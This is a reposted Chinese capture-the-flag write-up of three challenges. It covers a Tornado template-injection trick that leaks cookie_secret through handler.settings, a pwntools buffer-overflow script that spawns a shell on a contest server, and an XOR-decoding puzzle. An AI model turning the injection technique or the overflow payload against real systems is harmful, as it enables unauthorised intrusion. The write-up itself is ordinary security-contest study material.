博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
护网杯划水
阅读量:4973 次
发布时间:2019-06-12

本文共 1067 字,大约阅读时间需要 3 分钟。

题目没有截图。

WEB-easy tornado

三个文件,给了3个提示文件。综合起来看,主要是读文件,不过需要一个参数signature,根据给出的提示文件的URL,signature就是提示中产生的MD5。所以还需要一个cookie_secret,cookie里没有,应该是隐含在服务器里了。render()提示应该是一个SSTI漏洞。撸了一下flag文件,报错,URL里出现了模板符号,印证了想法。然后去翻tornado文档,主要看模板和配置。文档说当前的请求内容主要放在handler对象里,试出来了一个handler.settings暴露参数,cookie_secret。两个参数:file为文件名,signature带上算出转换后的MD5访问文件,得到flag。

PWN-gettingstart

用 IDA 打开程序,整个解题思路就已经明摆在面前了,溢出buf达到pwn的目的。

起shell的条件是(v7 == 0x7FFFFFFFFFFFFFFF && v8 == 0.1)

908031-20181014143147186-86126362.jpg

作为静态调试工具,IDA能F5插件能解析出来的,都能在程序里找得到。v8的十进制值0.1就是qword_c10对应的16进制值。

908031-20181014143207406-1721722359.jpg

主要覆盖的是v8,但波及到了v7,所以v7也要重写。相差0x18,也就是24。

908031-20181014143222396-2114285654.jpg

from pwn import *p = remote("49.4.78.31", 30482)p.sendlineafter('you', 'x' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))p.interactive()

MISC-迟来的签到题

base64解码后异或

import base64s = base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')for n in range(127):    flag=''    for i in s[:4]:        flag += ''.join(chr(i ^ n))    if 'flag' in flag:        for i in s[4:]:            flag += ''.join(chr(i ^ n))        print(n)        print(flag)

转载于:https://www.cnblogs.com/xiao3c/p/9786296.html

你可能感兴趣的文章
.NET+模块编排+数据库操作类的封装+分层架构+实体类+Ajax.net+Athem.NET+javascript+Activex组件+用户权限等...
查看>>
Markdown不常见功能
查看>>
(二)NUnit单元测试心得
查看>>
hdu_2604Queuing(快速幂矩阵)
查看>>
frame.bounds和center
查看>>
HDU 1102 Constructing Roads
查看>>
android StaticLayout参数解释
查看>>
多线程之ThreadLocal类
查看>>
Qt-读取文本导出word
查看>>
OC语言description方法和sel
查看>>
C#中得到程序当前工作目录和执行目录的五种方法
查看>>
扫描线与悬线
查看>>
用队列和链表的方式解决约瑟夫问题
查看>>
python 迭代器与生成器
查看>>
基于ASP.NET WEB API实现分布式数据访问中间层(提供对数据库的CRUD)
查看>>
[django实践]投票app
查看>>
[django]form的content-type(mime)
查看>>
JQUERY —— 绑定事件
查看>>
在TabControl中的TabPage选项卡中添加Form窗体
查看>>
oracle中SET DEFINE意思
查看>>